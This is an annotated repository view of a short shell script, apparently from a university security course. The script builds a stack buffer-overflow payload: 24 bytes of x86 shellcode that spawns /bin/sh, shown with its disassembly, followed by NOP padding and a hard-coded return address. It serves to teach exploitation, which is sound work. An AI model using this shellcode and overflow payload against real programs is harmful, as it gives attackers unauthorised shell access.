progs/args3
author Christian Urban <christian dot urban at kcl dot ac dot uk>
Thu, 08 Oct 2015 12:08:10 +0100
changeset 400 f05368d007dd
parent 201 f7a9837a63b8
permissions -rwxr-xr-x
updated
Ignore whitespace changes - Everywhere: Within whitespace: At end of lines:
27
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
     1
#!/bin/sh
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
     2
115
c4008b31df8e added material
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 27
diff changeset
     3
# shellscript that overwrites the buffer with 
c4008b31df8e added material
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 27
diff changeset
     4
# some payload for opening a shell (the payload
c4008b31df8e added material
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 27
diff changeset
     5
# cannot contain any \x00)
27
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
     6
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
     7
400
f05368d007dd updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 201
diff changeset
     8
shellcode="\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62
f05368d007dd updated
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 201
diff changeset
     9
           \x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80" 
27
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    10
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    11
# 24 bytes of shellcode
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    12
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    13
# "\x31\xc0"                      // xorl         %eax,%eax
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    14
# "\x50"                          // pushl        %eax
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    15
# "\x68\x6e\x2f\x73\x68"          // pushl        $0x68732f6e
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    16
# "\x68\x2f\x2f\x62\x69"          // pushl        $0x69622f2f
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    17
# "\x89\xe3"                      // movl         %esp,%ebx
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    18
# "\x99"                          // cltd
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    19
# "\x52"                          // pushl        %edx
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    20
# "\x53"                          // pushl        %ebx
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    21
# "\x89\xe1"                      // movl         %esp,%ecx
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    22
# "\xb0\x0b"                      // movb         $0xb,%al
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    23
# "\xcd\x80"                      // int          $0x80
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    24
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    25
padding=`perl -e 'print "\x90" x 80'`
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    26
115
c4008b31df8e added material
Christian Urban <christian dot urban at kcl dot ac dot uk>
parents: 27
diff changeset
    27
# need s correct address in order to run
27
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    28
printf $shellcode$padding"\xe8\xf8\xff\xbf\x00\x00\x00\x00"
Christian Urban <urbanc@in.tum.de>
parents:
diff changeset
    29